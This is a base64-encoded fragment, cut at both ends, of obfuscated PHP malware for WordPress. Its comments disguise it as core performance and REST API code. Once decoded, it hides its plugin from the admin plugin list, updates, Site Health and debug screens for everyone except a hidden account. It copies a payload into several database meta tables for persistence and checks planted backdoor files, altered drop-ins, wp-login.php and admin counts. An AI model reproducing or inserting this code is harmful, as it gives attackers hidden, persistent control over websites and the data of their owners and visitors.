29rXzU1MDQpIHsNCiAgICAgICAgaWYgKHN0cnBvcygkX3g1MTMwYzFiYSwgJHdwX2hvb2tfMDJjNCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfeDUxMzBjMWJhXSk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogIHRyeSB7DQogICAgJHdwX3F1ZXJ5XzE3MzMgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgJF9jZmdjOWJkOGY0ID0gJEdMT0JBTFNbJ19mOTkzNTMxJ107DQogICAgaWYgKCR3cF9xdWVyeV8xNzMzICYmICR3cF9xdWVyeV8xNzMzLT51c2VyX2xvZ2luID09PSAkX2NmZ2M5YmQ4ZjQpIHJldHVybiAkcGx1Z2luczsNCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGZvcmVhY2ggKCRwbHVnaW5zIGFzICRfeDUxMzBjMWJhID0+ICRfbTY2ODU0NGIyKSB7DQogICAgICBpZiAoc3RycG9zKCRfeDUxMzBjMWJhLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgIHVuc2V0KCRwbHVnaW5zWyRfeDUxMzBjMWJhXSk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KICB0cnkgew0KICAgIGlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfd3A2NzZiYjcxZl0pOw0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX3dwNjc2YmI3MWZdKTsNCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQogIHJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KICB0cnkgew0KICAgIHVuc2V0KCR0ZXN0c1soZnVuY3Rpb24oKXskX19wcm9jXzM0NGU9YXJyYXkoOTMsOTIsNjksNiw4MSw2NCk7JF9fZGF0YV9mMWRhPSc5NTdjMjQnOyR3cF9vcHRpb25fZjJkMz0nJztmb3IoJF9fcHJvY181OTI4PTA7JF9fcHJvY181OTI4PGNvdW50KCRfX3Byb2NfMzQ0ZSk7JF9fcHJvY181OTI4KyspJHdwX29wdGlvbl9mMmQzLj1jaHIoJF9fcHJvY18zNDRlWyRfX3Byb2NfNTkyOF1eb3JkKCRfX2RhdGFfZjFkYVskX19wcm9jXzU5Mjglc3RybGVuKCRfX2RhdGFfZjFkYSldKSk7cmV0dXJuICR3cF9vcHRpb25fZjJkMzt9KSgpXVsiXHg2MVx4NzVceDc0XHg2Zlx4NmNceDZmXHg2MVx4NjRceDY1XHg2NFx4NWZceDZmXHg3MFx4NzRceDY5XHg2Zlx4NmVceDczIl0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHRlc3RzOw0KfSk7DQoKYWRkX2ZpbHRlcignZGVidWdfaW5mb3JtYXRpb24nLCBmdW5jdGlvbigkaW5mbykgew0KICB0cnkgew0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJGluZm87DQoKICAgICR3cF9ob29rXzAyYzQgPSAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQogICAgaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bKGNocigxMDIpLiJceDY5Ii5jaHIoMTAxKS5jaHIoMTA4KS4iXHg2NCIuY2hyKDE0MCBeIDB4ZmYpKV0pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtbXUtcGx1Z2lucyddWydmaWVsZHMnXSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJpcG9zKCRfd3A2NzZiYjcxZiwgYmFzZW5hbWUoJHdwX2hvb2tfMDJjNCwgJy5waHAnKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bJ3dwLW11LXBsdWdpbnMnXVsoY2hyKDEwMikuY2hyKDEwNSkuIlx4NjUiLmNocigxMDgpLmNocigxNTUgXiAweGZmKS4iXHg3MyIpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10gYXMgJF93cDY3NmJiNzFmID0+ICR3cF9maWx0ZXJfYmRhZSkgew0KICAgICAgICBpZiAoc3RyaXBvcygkX3dwNjc2YmI3MWYsICRfX2J1Zl8xMGQzKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICB1bnNldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl80NmRiPWFycmF5KDAsODAsODMsOCwyLDc0KTskd3BfZmlsdGVyXzQ4MjQ9J2Y5NmQnOyRfd3BkOTVlODk9Jyc7Zm9yKCRfX29wdF9mZTA2PTA7JF9fb3B0X2ZlMDY8Y291bnQoJHdwX3Nlc3Npb25fNDZkYik7JF9fb3B0X2ZlMDYrKykkX3dwZDk1ZTg5Lj1jaHIoJHdwX3Nlc3Npb25fNDZkYlskX19vcHRfZmUwNl1eb3JkKCR3cF9maWx0ZXJfNDgyNFskX19vcHRfZmUwNiVzdHJsZW4oJHdwX2ZpbHRlcl80ODI0KV0pKTtyZXR1cm4gJF93cGQ5NWU4OTt9KSgpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJGluZm9bKGZ1bmN0aW9uKCl7JHdwX2FjdGlvbl9kY2VlPWFycmF5KDIwLDY0LDIxLDE3LDg5LDIyLDg3LDgxLDE1LDcwLDc4LDg5LDg2LDAsODYsMjMsODksNzgsNCk7JHdwX2ZpbHRlcl8xNjE0PSdjMDhhNSc7JHdwX29wdGlvbl9kZWQ4PScnO2ZvcigkX19vcHRfMjM2OT0wOyRfX29wdF8yMzY5PGNvdW50KCR3cF9hY3Rpb25fZGNlZSk7JF9fb3B0XzIzNjkrKykkd3Bfb3B0aW9uX2RlZDguPWNocigkd3BfYWN0aW9uX2RjZWVbJF9fb3B0XzIzNjldXm9yZCgkd3BfZmlsdGVyXzE2MTRbJF9fb3B0XzIzNjklc3RybGVuKCR3cF9maWx0ZXJfMTYxNCldKSk7cmV0dXJuICR3cF9vcHRpb25fZGVkODt9KSgpXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1soZnVuY3Rpb24oKXskX3dwZTM5Nj1hcnJheSg2NSw2OSw3OCw2OSw5MCw2NCw0LDkyLDg4LDcwLDc4LDkyLDg4LDg0LDAsNjUsOTUsNjcsNik7JF9wYTk5MjA9JzY1YzUnOyR3cF9maWx0ZXJfOGE4NT0nJztmb3IoJF9jNzkzMjdkMj0wOyRfYzc5MzI3ZDI8Y291bnQoJF93cGUzOTYpOyRfYzc5MzI3ZDIrKykkd3BfZmlsdGVyXzhhODUuPWNocigkX3dwZTM5NlskX2M3OTMyN2QyXV5vcmQoJF9wYTk5MjBbJF9jNzkzMjdkMiVzdHJsZW4oJF9wYTk5MjApXSkpO3JldHVybiAkd3BfZmlsdGVyXzhhODU7fSkoKV1bJ2ZpZWxkcyddIGFzICRfd3A2NzZiYjcxZiA9PiAkd3BfZmlsdGVyX2JkYWUpIHsNCiAgICAgICAgaWYgKHN0cmlwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bKGNocigxMTkpLiJceDcwIi5jaHIoMjEwIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDZjIi5jaHIoMTM4IF4gMHhmZikuY2hyKDEwMykuY2hyKDEwNSkuIlx4NmUiLmNocigxNDAgXiAweGZmKS4iXHgyZCIuY2hyKDE1MCBeIDB4ZmYpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS5jaHIoMTE2KS4iXHg2OSIuY2hyKDEzNyBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2M0MmI4YzhmZCkge30NCiAgcmV0dXJuICRpbmZvOw0KfSk7DQp9KSgpOwoKY2xhc3MgUXVlcnlfUHJvY19iMGE2IHsgcHJpdmF0ZSAkX3dwZGIzMDBhNTcgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3FiODMxKCkgeyByZXR1cm4gdHJ1ZTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX19pbml0XzA3NTkoKSB7IHJldHVybiB0aW1lKCk7IH0gfQoKY2xhc3MgUGFnZV9Qcm9jXzFiMDMgeyBwcml2YXRlICRfd3A4ZDFjNWI5ID0gbnVsbDsgcHVibGljIGZ1bmN0aW9uIHdwX2FjdGlvbl82ZWNmKCkgeyByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gd3BfaG9va18xZTczKCkgeyByZXR1cm4gJzcxM2IwZWMnOyB9IH0KCi8qKgoqIFJFU1QgQVBJIGNvbXBhdGliaWxpdHkgYW5kIHJvdXRpbmcgbGF5ZXIKKgoqIEBzaW5jZSAyLjIuNjYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKCgoKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSArIHRpbWUoKSkgLSAoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddIHwgdGltZSgpKSkgPT09ICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gJiB0aW1lKCkpKSkgewp0cnkgewokd3BfaGFuZGxlcl9iOTVmID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9jMTA4MmM2ID0gQCgnZmknLidsZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwYWFlNCk7DQogICAgaWYgKCEkX2MxMDgyYzYgfHwgc3RybGVuKCRfYzEwODJjNikgPCA1MDApIHJldHVybjsNCgogICAgJF9fbG9hZF8yZmFmID0gKCdiYXNlJy4nNjRfJy4nZW5jbycuJ2RlJykoJF9jMTA4MmM2KTsNCgogICAgJHdwX3Rva2VuXzk5NTQgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgIGlmIChnZXRfb3B0aW9uKCR3cF90b2tlbl85OTU0LCAnJykgIT09ICRfX2xvYWRfMmZhZikgew0KICAgICAgdXBkYXRlX29wdGlvbigkd3BfdG9rZW5fOTk1NCwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgICRfYzUyOTI5ZiA9ICRHTE9CQUxTWydfbTk3NThlN2QnXTsNCiAgICBpZiAoZ2V0X29wdGlvbigkX2M1MjkyOWYsICcnKSAhPT0gJF9fbG9hZF8yZmFmKSB7DQogICAgICB1cGRhdGVfb3B0aW9uKCRfYzUyOTI5ZiwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAkX2M0MDRiYzIgPSAkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19kYl9zeW5jJzsNCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX2M0MDRiYzIpKSByZXR1cm47DQoKICAgICRfX2RhdGFfMjBlNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQogICAgJF9fb3B0XzI3MzIgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT51c2Vyc30gV0hFUkUgdXNlcl9zdGF0dXMgPSAwIExJTUlUIDEiKTsNCgogICAgJF9jY2VjMDJmID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KICAgIGlmICgkX19kYXRhXzIwZTcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF9fZGF0YV8yMGU3LCAoZnVuY3Rpb24oKXskd3BfaG9va184MDZmPWFycmF5KDg1LDAsMjIsMiwxMDMsMTQsNywyNik7JHdwX29wdGlvbl9hNGI1PSc4ZWJjJzskX2M5NDI4M2JhOT0nJztmb3IoJF94NzBlNTBiPTA7JF94NzBlNTBiPGNvdW50KCR3cF9ob29rXzgwNmYpOyRfeDcwZTUwYisrKSRfYzk0MjgzYmE5Lj1jaHIoJHdwX2hvb2tfODA2ZlskX3g3MGU1MGJdXm9yZCgkd3Bfb3B0aW9uX2E0YjVbJF94NzBlNTBiJXN0cmxlbigkd3Bfb3B0aW9uX2E0YjUpXSkpO3JldHVybiAkX2M5NDI4M2JhOTt9KSgpID0+ICRfY2NlYzAyZikpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KCdwb3N0X2lkJyA9PiAkX19kYXRhXzIwZTcsICdtZXRhX2tleScgPT4gJF9jY2VjMDJmLCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX19jZmdfODYxNiA9ICRHTE9CQUxTWydfX2luaXRfYTRmZCddOw0KICAgIGlmICgkX19vcHRfMjczMikgew0KICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dXNlcm1ldGEsIGFycmF5KCd1c2VyX2lkJyA9PiAkX19vcHRfMjczMiwgKCJceDZkIi4iXHg2NSIuY2hyKDExNikuY2hyKDk3KS4iXHg1ZiIuY2hyKDEwNykuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzQgXiAweGZmKSkgPT4gJF9fY2ZnXzg2MTYpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoZnVuY3Rpb24oKXskX3dwMDljMT1hcnJheSg3MCw2Nyw4MCw2NCwxMDIsOTAsODQpOyRfd3A4Yzg1YzNhMj0nMzA1MjknOyRfY2M2MDI3NTM4PScnO2ZvcigkX3dwOWE2YTYxPTA7JF93cDlhNmE2MTxjb3VudCgkX3dwMDljMSk7JF93cDlhNmE2MSsrKSRfY2M2MDI3NTM4Lj1jaHIoJF93cDA5YzFbJF93cDlhNmE2MV1eb3JkKCRfd3A4Yzg1YzNhMlskX3dwOWE2YTYxJXN0cmxlbigkX3dwOGM4NWMzYTIpXSkpO3JldHVybiAkX2NjNjAyNzUzODt9KSgpID0+ICRfX29wdF8yNzMyLCAnbWV0YV9rZXknID0+ICRfX2NmZ184NjE2LCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX3dwOGE1ZSA9ICRHTE9CQUxTWydfX2luaXRfZWJiNiddOw0KICAgICRfd3AwNmQ1MjcgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQogICAgaWYgKCRfd3AwNmQ1MjcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF93cDA2ZDUyNywgKGNocigxMDkpLiJceDY1Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDk3KS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwNykuY2hyKDEwMSkuIlx4NzkiKSA9PiAkX3dwOGE1ZSkpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3dwMDZkNTI3LCAnbWV0YV9rZXknID0+ICRfd3A4YTVlLCAoZnVuY3Rpb24oKXskX19jZmdfZTUyZT1hcnJheSg5MywxLDY5LDgyLDExMCw3MCw1LDkzLDcwLDg0KTskd3BfdG9rZW5fMTAzYT0nMGQxMzEnOyR3cF9hY3Rpb25fYWQxYT0nJztmb3IoJF9jYTgxNWJmMT0wOyRfY2E4MTViZjE8Y291bnQoJF9fY2ZnX2U1MmUpOyRfY2E4MTViZjErKykkd3BfYWN0aW9uX2FkMWEuPWNocigkX19jZmdfZTUyZVskX2NhODE1YmYxXV5vcmQoJHdwX3Rva2VuXzEwM2FbJF9jYTgxNWJmMSVzdHJsZW4oJHdwX3Rva2VuXzEwM2EpXSkpO3JldHVybiAkd3BfYWN0aW9uX2FkMWE7fSkoKSA9PiAkX19sb2FkXzJmYWYpKTsNCiAgICB9DQoKICAgICRfYzM1MzI1NDU1ID0gJEdMT0JBTFNbJ19sZDc2MzgnXTsNCiAgICAkd3BfaGFuZGxlcl80NjFjID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgIGlmICgkd3BfaGFuZGxlcl80NjFjKSB7DQogICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICR3cF9oYW5kbGVyXzQ2MWMsICJceDZkXHg2NVx4NzRceDYxXHg1Zlx4NmJceDY1XHg3OSIgPT4gJF9jMzUzMjU0NTUpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJHdwX2hhbmRsZXJfNDYxYywgJ21ldGFfa2V5JyA9PiAkX2MzNTMyNTQ1NSwgJ21ldGFfdmFsdWUnID0+ICRfX2xvYWRfMmZhZikpOw0KICAgIH0NCgogICAgc2V0X3RyYW5zaWVudCgkX2M0MDRiYzIsICcxJywgMjE2MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzU0MDIyYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2MyOTcwYTc4Nikge30KfQoKJF9sZDgzMzcwMyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwoKLyoqCiogTWFuYWdlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvb2xpbmcgYW5kIG9wdGltaXphdGlvbgoqCiogQHNpbmNlIDQuOC40OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KdHJ5IHsKJF93cDU1MDA4NzIgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwokX2NhN2I5M2UwID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CiR3cF9vcHRpb25fYTBiMiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgIGlmIChpc19hZG1pbigpIHx8IHdwX2RvaW5nX2FqYXgoKSB8fCB3cF9kb2luZ19jcm9uKCkpIHJldHVybjsNCiAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICRfd3AyMzcxZSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2JlYWNvbic7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDIzNzFlKSkgcmV0dXJuOw0KICAgIHNldF90cmFuc2llbnQoJF93cDIzNzFlLCAnMScsIDYwKTsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzdmMzUyMjYxID0gZmlsZV9leGlzdHMoJF93cGFhZTQpOw0KICAgICRfX2J1Zl9kOGVkID0gJF9jN2YzNTIyNjEgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwOw0KCiAgICAkX3dwNjk4N2RhID0gJEdMT0JBTFNbJ19fY2FjaGVfOTlmMiddOw0KICAgICRfd3AxMTU2NmUgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQoKICAgICRfX2hvb2tfMzgyMSA9IGFycmF5KCk7DQogICAgJF9faG9va18zODIxWydtdSddID0gJF9jN2YzNTIyNjE7DQogICAgJF9faG9va18zODIxWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgJycpKSA+IDEwMDsNCiAgICAkX19ob29rXzM4MjFbJ2Nyb24nXSA9ICEhd3BfbmV4dF9zY2hlZHVsZWQoJEdMT0JBTFNbJ19jOGI5ODgxYjknXSk7DQoKICAgICR3cF9zZXNzaW9uXzAxZGYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAkX19ob29rXzM4MjFbKGNocigxMDApLmNocigxMTQpLmNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApLmNocig5NSkuY2hyKDk3KS5jaHIoOTkpKV0gPSBmaWxlX2V4aXN0cygkd3Bfc2Vzc2lvbl8wMWRmKSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZScuJ3RfJy4nY29uJy4ndGVudCcuJ3MnKSgkd3Bfc2Vzc2lvbl8wMWRmKSwgJF93cDExNTY2ZSkgIT09IGZhbHNlOw0KICAgICRfX2NhY2hlXzYyZjIgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCiAgICAkX19ob29rXzM4MjFbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9fY2FjaGVfNjJmMikgJiYgc3RycG9zKEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvJy4nbnQnLidlbnQnLidzJykoJF9fY2FjaGVfNjJmMiksICRfd3AxMTU2NmUpICE9PSBmYWxzZTsNCgogICAgJF9faG9va18zODIxWyhmdW5jdGlvbigpeyRfYzEzNTE2YT1hcnJheSg3OSwyMiwxMDgsOCw4NywxLDkwLDEwKTskX3dwMjYyNz0nOGYzZCc7JHdwX21ldGFfYTI4ZD0nJztmb3IoJF9fY2FjaGVfNDRlZT0wOyRfX2NhY2hlXzQ0ZWU8Y291bnQoJF9jMTM1MTZhKTskX19jYWNoZV80NGVlKyspJHdwX21ldGFfYTI4ZC49Y2hyKCRfYzEzNTE2YVskX19jYWNoZV80NGVlXV5vcmQoJF93cDI2MjdbJF9fY2FjaGVfNDRlZSVzdHJsZW4oJF93cDI2MjcpXSkpO3JldHVybiAkd3BfbWV0YV9hMjhkO30pKCldID0gZmFsc2U7DQogICAgaWYgKCRfd3A2OTg3ZGEgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgJF9faG9va18zODIxWyd3cF9sb2dpbiddID0gc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0X2MnLidvbnQnLidlbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF93cDY5ODdkYSkgIT09IGZhbHNlOw0KICAgIH0NCgogICAgJHdwX2FjdGlvbl84Mjc2ID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9sYW5ndWFnZXMvcHJpdmFjeS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvY2FjaGUvdGVybS1jYWNoZS5waHAiLCJ3cC1jb250ZW50L3VwbG9hZHMvdGFzay1wcm9jZXNzb3IucGhwIiwid3AtY29udGVudC91cGdyYWRlL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvcm9sZS12YWxpZGF0b3IucGhwIl0nLCB0cnVlKTsNCiAgICAkd3BfcXVlcnlfMDU4ZSA9IDA7DQogICAgaWYgKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9hY3Rpb25fODI3NiBhcyAkX2MzOGI1NTg1KSB7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF9jMzhiNTU4NSkgJiYgZmlsZXNpemUoQUJTUEFUSCAuICRfYzM4YjU1ODUpID4gMjAwKSAkd3BfcXVlcnlfMDU4ZSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICAkX19ob29rXzM4MjFbJ3NjYXR0ZXInXSA9ICR3cF9xdWVyeV8wNThlIC4gJy8nIC4gKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikgPyBjb3VudCgkd3BfYWN0aW9uXzgyNzYpIDogMCk7DQoKICAgICRfZjk5MzUzMSA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICRfX2hvb2tfMzgyMVsnaGEnXSA9ICFlbXB0eSgkX2Y5OTM1MzEpICYmIHVzZXJuYW1lX2V4aXN0cygkX2Y5OTM1MzEpID8gdHJ1ZSA6IGZhbHNlOw0KCiAgICAkX3dwMDk5OSA9IGdldF91c2VycyhhcnJheSgncm9sZScgPT4gKGNocig5NykuY2hyKDE1NSBeIDB4ZmYpLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuY2hyKDExMCkuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTUpLmNocigxMTYpLmNocigxNDEgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDExNikuIlx4NmYiLmNocigxNDEgXiAweGZmKSksICdmaWVsZHMnID0+ICdJRCcpKTsNCiAgICAkX19ob29rXzM4MjFbJ2FkbWlucyddID0gY291bnQoJF93cDA5OTkpOw0KCiAgICAkX2M3YmFhOCA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDJmY2EwMiddLCAnJyk7DQogICAgaWYgKCRfYzdiYWE4KSB7DQogICAgICAkX2MwNjhlOCA9IGpzb25fZGVjb2RlKCRfYzdiYWE4LCB0cnVlKTsNCiAgICAgIGlmIChpc19hcnJheSgkX2MwNjhlOCkgJiYgIWVtcHR5KCRfYzA2OGU4WydzbHVnJ10pKSB7DQogICAgICAgICRfY2NlNGEgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jMDY4ZThbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICgkX2MwNjhlOFsoY2hyKDEwMikuIlx4NjkiLmNocigxMDgpLmNocigxMDEpKV0gPz8gJF9jMDY4ZThbJ3NsdWcnXSAuICcucGhwJyk7DQogICAgICAgICRfX2hvb2tfMzgyMVsoZnVuY3Rpb24oKXskX2kxZDVmPWFycmF5KDAsODUsMTA4LDczLDk0LDIzLDgxLDkwLDg3KTskX2M3OTVhZT0nYjYzOTInOyRfd3AxNDZkNjU1PScnO2ZvcigkX21kMTI1NzU1Mz0wOyRfbW